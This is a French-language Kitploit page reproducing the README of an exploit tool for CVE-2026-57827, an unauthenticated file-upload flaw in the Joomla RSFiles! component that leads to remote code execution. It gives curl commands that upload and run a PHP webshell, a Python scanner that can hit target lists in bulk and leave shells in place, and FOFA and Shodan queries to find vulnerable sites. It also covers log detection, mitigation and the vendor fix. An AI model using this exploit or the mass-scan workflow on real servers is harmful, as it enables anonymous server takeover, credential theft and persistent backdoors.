Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-57827 — CVE-2026-57827 — Composant Joomla RSFiles! Téléchargement de fichier non authentifié menant à une exécution de code à distance (RCE). Contournement du téléchargement via contrôleur scindé. CVSS 9.8 | CWE-434 | com_rsfiles < 1.17.12 | Kitploit
Outils/GitHubGitHub/shinthink/cve-2026-57827
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsSécurité WebTests d'IntrusionRed TeamingOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubshinthink/cve-2026-57827

CVE-2026-57827

CVE-2026-57827 — Composant Joomla RSFiles! Téléchargement de fichier non authentifié menant à une exécution de code à distance (RCE). Contournement du téléchargement via contrôleur scindé. CVSS 9.8 | CWE-434 | com_rsfiles < 1.17.12

1525il y a 1 moisPas encore vérifié
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-57827 — Composant Joomla RSFiles! — RCE par téléversement de fichier non authentifié

Contournement du téléversement par contrôleur scindé → Tâche d'écriture directe → /downloads/shell.php → RCE


Vue d'ensemble

CVE-2026-57827 est une vulnérabilité critique (CVSS 9.8) de téléversement de fichier arbitraire sans authentification dans RSFiles! (com_rsfiles), un composant de gestion de fichiers et de téléchargements largement utilisé pour Joomla, dans les versions < 1.17.12.

La vulnérabilité exploite un défaut de conception de type contrôleur scindé (split-controller) : RSFiles! sépare son téléversement en deux tâches frontend — un contrôle pré-vol (contrôle d'autorisation + liste blanche d'extensions) et une méthode d'écriture (enregistre le fichier sur le disque). La méthode d'écriture peut être appelée directement, contournant entièrement le contrôle pré-vol. Aucune authentification requise, aucun jeton CSRF.

Versions affectées

VersionStatut
< 1.17.12Vulnérable
1.17.12+Corrigée

Découvert par : Phil Taylor, mySites.guru (10 juillet 2026) Éditeur : RSJoomla (rsjoomla.com) Composant : com_rsfiles


Mécanisme de la vulnérabilité

Cause racine

RSFiles! scinde son téléversement entre deux tâches frontend distinctes dans /components/com_rsfiles/controllers/rsfiles.php :

root@kitploit:~
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
    if (!$user->authorise('rsfiles.upload')) return false;
    $allowed = ['jpg','png','gif','txt','pdf'];
    if (!in_array($ext, $allowed)) return false;
    return true;
}

// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
    $file = $input->files->get('file');
    // No permission check
    // No extension check
    // JFile::upload() accepts anything by default
    JFile::upload($file['tmp_name'], $dest . $file['name']);
    // File saved to /downloads/ (web root, .htaccess OFF by default)
}

Pourquoi cela fonctionne

  1. Contrôleur scindé — Les contrôles de sécurité et l'écriture du fichier se trouvent dans deux méthodes distinctes. Seul le contrôle pré-vol est protégé.
  2. Accès direct à la tâche — Le contrôleur frontend de Joomla permet d'appeler n'importe quelle tâche directement via &task=rsfiles.upload, contournant ainsi entièrement le contrôle pré-vol.
  3. Aucune authentification — Le contrôleur frontend n'effectue aucun contrôle d'accès. Les visiteurs anonymes peuvent appeler la tâche d'écriture.
  4. Aucun jeton CSRF — Le formulaire de téléversement frontend ne comporte aucun jeton CSRF global.
  5. Aucune validation du type de fichier — La méthode d'écriture lit le nom du fichier depuis la requête et le transmet au gestionnaire de téléversement intégré de Joomla (JFile::upload()), qui accepte tout type de fichier par défaut.
  6. Dossier de téléchargements à la racine web — Le dossier de téléchargements par défaut de RSFiles! se trouve dans la racine web. Le .htaccess protecteur qui empêcherait l'exécution de PHP à cet endroit est un paramètre administrateur optionnel (opt-in), désactivé par défaut.

Déroulement de l'attaque

root@kitploit:~
1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
   file=<shell.php> (multipart, PHP payload)
   folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
   → Skips rsfiles.checkupload (pre-flight) entirely
   → No permission check → No CSRF token check → No file-type check
   → JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
   .htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data

Références vérifiées du code source

FichierRôle
/components/com_rsfiles/controllers/rsfiles.phpContrôleur contenant les tâches vulnérables upload() et checkupload()
/components/com_rsfiles/views/upload/tmpl/upload.phpModèle du formulaire de téléversement frontend (confirmé : name="file", task=rsfiles.upload)
/downloads/Dossier de téléchargements par défaut dans la racine web (protection .htaccess désactivée par défaut)
/briefcase/Dossier Briefcase (également accessible en écriture)

Détection dans les journaux serveur (selon l'avis de RSJoomla)

root@kitploit:~
Look for POST requests to:
  index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
  index.php?option=com_rsfiles&task=rsfiles.checkupload

Défaut de conception clé

Les contrôles de sécurité (contrôle d'autorisation + liste blanche d'extensions) constituent une étape pré-vol distincte de la méthode qui écrit réellement le fichier. Seule la première contient les contrôles. La seconde — celle qui écrit sur le disque — peut être appelée directement en construisant le bon paramètre task dans l'URL, contournant ainsi tous les contrôles de sécurité.

C'est un exemple typique de l'anti-pattern « contrôles et actions séparés » : le contrôle et l'opération qu'il est censé protéger sont découplés, et un attaquant peut atteindre l'opération sans passer par le contrôle.


Installation

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-57827.git
cd CVE-2026-57827
pip install requests

Utilisation

root@kitploit:~
# Single target
python cve_2026_57827.py -t target.com

# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt

# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup

Arguments

root@kitploit:~
  -t, --target       Single target (domain or IP)
  -f, --file         Target list, one per line
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)
  --no-cleanup       Leave shells on target
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

Preuve de concept

Cible unique

root@kitploit:~
$ python cve_2026_57827.py -t joomla-site.com
root@kitploit:~
  RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8

  Host       : joomla-site.com
  RSFiles!   : YES v1.17.11
  Upload     : YES
  RCE        : YES
  Shell      : https://joomla-site.com/components/com_rsfiles/downloads/.a1b2c3.php?t=token
  Output     : uid=33(www-data) gid=33(www-data) groups=33(www-data)
  Time       : 3.8s

Exploitation manuelle

Étape 1 — Téléverser le shell

root@kitploit:~
curl -X POST 'https://target.com/index.php?option=com_rsfiles&task=rsfiles.upload' \
  -F '[email protected]' \
  -F 'folder=' \
  -F 'overwrite=1'

Étape 2 — Accéder au shell

root@kitploit:~
curl 'https://target.com/downloads/shell.php?c=id'

Étape 3 — Exécuter des commandes

root@kitploit:~
curl 'https://target.com/downloads/shell.php?c=id;hostname;uname -a'

Mesure d'atténuation (si la mise à jour n'est pas possible)

root@kitploit:~
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php

# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"

FOFA / Shodan

root@kitploit:~
FOFA:   body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"

Impact

Une exploitation réussie permet une exécution de code à distance en tant qu'utilisateur du serveur web :

  • Extraire configuration.php → identifiants de base de données, secrets SMTP
  • Accéder à tout le contenu Joomla, aux utilisateurs et aux données des extensions
  • Déployer des portes dérobées (backdoors) persistantes
  • Pivoter vers les réseaux internes
  • Défigurer le site web ou injecter des logiciels malveillants

Aucun compte sur le site n'est nécessaire à aucune étape. Anonyme, non authentifié, à distance.


Le correctif (1.17.12)

RSJoomla a corrigé la vulnérabilité dans la version 1.17.12 en :

  • Ajoutant un contrôle d'autorisation à la méthode d'écriture elle-même (pas seulement au contrôle pré-vol)
  • Ajoutant une validation du type de fichier à la méthode d'écriture
  • Imposant un jeton CSRF sur le point de terminaison de téléversement frontend
  • Rendant la protection .htaccess du dossier de téléchargements activée par défaut

Avertissement

UNIQUEMENT À DES FINS ÉDUCATIVES ET DE TESTS AUTORISÉS.

Ne pas utiliser contre des systèmes sans l'autorisation explicite du propriétaire. Les auteurs déclinent toute responsabilité en cas de mauvaise utilisation.


Références

RessourceLien
Entrée NVDCVE-2026-57827
Avis mySites.gurumysites.guru/blog/rsfiles-unauthenticated-file-upload-rce
Avis RSJoomlarsjoomla.com
CWE-434Unrestricted Upload of File with Dangerous Type
RapporteurPhil Taylor, mySites.guru

Non affilié à RSJoomla ni à mySites.guru.

Télécharger l’outil